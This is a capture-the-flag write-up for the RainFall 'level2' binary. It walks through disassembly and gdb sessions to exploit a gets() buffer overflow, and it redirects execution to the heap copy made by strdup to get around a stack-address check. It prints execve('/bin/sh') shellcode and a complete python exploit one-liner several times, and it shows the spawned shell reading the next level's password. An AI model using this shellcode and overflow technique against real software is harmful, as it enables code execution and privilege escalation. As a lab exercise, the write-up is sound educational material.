179 lines
6.6 KiB
Plaintext
179 lines
6.6 KiB
Plaintext
Code has 1 function that's interesting : p.
|
||
|
||
```
|
||
0x080484d4 <p+0>: push ebp
|
||
0x080484d5 <p+1>: mov ebp,esp
|
||
0x080484d7 <p+3>: sub esp,0x68
|
||
0x080484da <p+6>: mov eax,ds:0x8049860
|
||
0x080484df <p+11>: mov DWORD PTR [esp],eax
|
||
0x080484e2 <p+14>: call 0x80483b0 <fflush@plt>
|
||
0x080484e7 <p+19>: lea eax,[ebp-0x4c]
|
||
0x080484ea <p+22>: mov DWORD PTR [esp],eax
|
||
0x080484ed <p+25>: call 0x80483c0 <gets@plt>
|
||
0x080484f2 <p+30>: mov eax,DWORD PTR [ebp+0x4]
|
||
0x080484f5 <p+33>: mov DWORD PTR [ebp-0xc],eax
|
||
0x080484f8 <p+36>: mov eax,DWORD PTR [ebp-0xc]
|
||
0x080484fb <p+39>: and eax,0xb0000000
|
||
0x08048500 <p+44>: cmp eax,0xb0000000
|
||
0x08048505 <p+49>: jne 0x8048527 <p+83>
|
||
0x08048507 <p+51>: mov eax,0x8048620
|
||
0x0804850c <p+56>: mov edx,DWORD PTR [ebp-0xc]
|
||
0x0804850f <p+59>: mov DWORD PTR [esp+0x4],edx
|
||
0x08048513 <p+63>: mov DWORD PTR [esp],eax
|
||
0x08048516 <p+66>: call 0x80483a0 <printf@plt>
|
||
0x0804851b <p+71>: mov DWORD PTR [esp],0x1
|
||
0x08048522 <p+78>: call 0x80483d0 <_exit@plt>
|
||
0x08048527 <p+83>: lea eax,[ebp-0x4c]
|
||
0x0804852a <p+86>: mov DWORD PTR [esp],eax
|
||
0x0804852d <p+89>: call 0x80483f0 <puts@plt>
|
||
0x08048532 <p+94>: lea eax,[ebp-0x4c]
|
||
0x08048535 <p+97>: mov DWORD PTR [esp],eax
|
||
0x08048538 <p+100>: call 0x80483e0 <strdup@plt>
|
||
0x0804853d <p+105>: leave
|
||
0x0804853e <p+106>: ret
|
||
```
|
||
|
||
*Fig 1. Disassembly of p function*
|
||
|
||
We notice there's a get to exploit, however, we have no idea where we could
|
||
return as there is no shell opened anywhere in the program.
|
||
We have to use a shellcode for this, which is a asm code that opens a shell.
|
||
We are going to put in in our input string, and jump onto the start of it.
|
||
|
||
First step is to find the return address' of p in the stack.
|
||
|
||
```
|
||
(gdb) b *p+0
|
||
Breakpoint 2 at 0x80484d4
|
||
(gdb) run
|
||
Starting program: /home/user/level2/level2
|
||
|
||
Breakpoint 2, 0x080484d4 in p ()
|
||
(gdb) p $esp
|
||
$1 = (void *) 0xbffff72c
|
||
```
|
||
|
||
Then we'll need to figure out the size of our gets stack, we can count
|
||
|
||
```
|
||
0x080484d4 <p+0>: push ebp // esp -= 4
|
||
0x080484d5 <p+1>: mov ebp,esp // ebp = esp
|
||
0x080484d7 <p+3>: sub esp,0x68 // allocate 104 bytes
|
||
0x080484da <p+6>: mov eax,ds:0x8049860
|
||
0x080484df <p+11>: mov DWORD PTR [esp],eax
|
||
0x080484e2 <p+14>: call 0x80483b0 <fflush@plt>
|
||
0x080484e7 <p+19>: lea eax,[ebp-0x4c] // read to top 76 bytes
|
||
0x080484ea <p+22>: mov DWORD PTR [esp],eax
|
||
0x080484ed <p+25>: call 0x80483c0 <gets@plt>
|
||
```
|
||
|
||
So we have 76 bytes for the correct usage of the function, then 4 bytes that
|
||
should contain the old value of ebp, then we should be at our ret address.
|
||
|
||
So we will put our shell code, then some 'A's until 80 characters, then the
|
||
address of our shell code which should be the ret address + 8.
|
||
|
||
Let's try :)
|
||
|
||
Shellcode is 46 bytes long, so we need 34 'A'
|
||
|
||
Here is the shellcode taken from the internet :
|
||
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
|
||
|
||
|
||
```
|
||
level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x24\xf7\xff\xbf')"; cat) | ./level2
|
||
(0xbffff724)
|
||
whoami
|
||
```
|
||
|
||
It print's our return address and then exits to cat but no shell was opened.
|
||
|
||
This is because we entered this branch
|
||
|
||
```
|
||
0x080484f2 <p+30>: mov eax,DWORD PTR [ebp+0x4] // eax = ebp[4]
|
||
^ This line puts the return address's value of p function into eax register
|
||
0x080484f5 <p+33>: mov DWORD PTR [ebp-0xc],eax // ebp[-12] = eax
|
||
0x080484f8 <p+36>: mov eax,DWORD PTR [ebp-0xc] // eax = ebp[-12]
|
||
0x080484fb <p+39>: and eax,0xb0000000
|
||
0x08048500 <p+44>: cmp eax,0xb0000000
|
||
0x08048505 <p+49>: jne 0x8048527 <p+83>
|
||
0x08048507 <p+51>: mov eax,0x8048620
|
||
0x0804850c <p+56>: mov edx,DWORD PTR [ebp-0xc]
|
||
0x0804850f <p+59>: mov DWORD PTR [esp+0x4],edx
|
||
0x08048513 <p+63>: mov DWORD PTR [esp],eax
|
||
0x08048516 <p+66>: call 0x80483a0 <printf@plt>
|
||
0x0804851b <p+71>: mov DWORD PTR [esp],0x1
|
||
0x08048522 <p+78>: call 0x80483d0 <_exit@plt>
|
||
```
|
||
|
||
So we cannot ever return on our string. At the end of the function tho, strdup
|
||
is called on our string
|
||
|
||
```
|
||
25 0x08048527 <p+83>: lea eax,[ebp-0x4c]
|
||
26 0x0804852a <p+86>: mov DWORD PTR [esp],eax
|
||
27 0x0804852d <p+89>: call 0x80483f0 <puts@plt>
|
||
28 0x08048532 <p+94>: lea eax,[ebp-0x4c] // same as gets argument
|
||
29 0x08048535 <p+97>: mov DWORD PTR [esp],eax
|
||
30 0x08048538 <p+100>: call 0x80483e0 <strdup@plt>
|
||
31 0x0804853d <p+105>: leave
|
||
```
|
||
|
||
So we can check the return address of strdup.
|
||
|
||
```
|
||
(gdb) b *p+105
|
||
Breakpoint 1 at 0x804853d
|
||
(gdb) run < shellcode_bf
|
||
Starting program: /home/user/level2/level2 < shellcode_bf
|
||
(0xbffff724)
|
||
[Inferior 1 (process 5098) exited with code 01]
|
||
(gdb) run < exploit3.txt
|
||
Starting program: /home/user/level2/level2 < exploit3.txt
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><EFBFBD>F1<EFBFBD>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
|
||
<20>
|
||
<20><>S
|
||
<20><><EFBFBD><EFBFBD><EFBFBD>/bin/sh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
Breakpoint 1, 0x0804853d in p ()
|
||
(gdb) i r
|
||
eax 0x804a008 134520840
|
||
ecx 0x0 0
|
||
edx 0xbffff6dc -1073744164
|
||
ebx 0xb7fd0ff4 -1208152076
|
||
esp 0xbffff6c0 0xbffff6c0
|
||
ebp 0xbffff728 0xbffff728
|
||
esi 0x0 0
|
||
edi 0x0 0
|
||
eip 0x804853d 0x804853d <p+105>
|
||
eflags 0x200282 [ SF IF ID ]
|
||
cs 0x73 115
|
||
ss 0x7b 123
|
||
ds 0x7b 123
|
||
es 0x7b 123
|
||
fs 0x0 0
|
||
gs 0x33 51
|
||
(gdb)
|
||
```
|
||
|
||
We see eax is 0x804a008, let's replace our command with this address.
|
||
|
||
```(python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2```
|
||
|
||
```
|
||
level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2
|
||
1<EFBFBD><EFBFBD>F1<EFBFBD>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
|
||
<20>
|
||
<20><>S
|
||
<20><><EFBFBD><EFBFBD><EFBFBD>/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
|
||
whoami
|
||
level3
|
||
cat /home/user/level3/.pass
|
||
492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
|
||
|
||
```
|
||
|
||
:)
|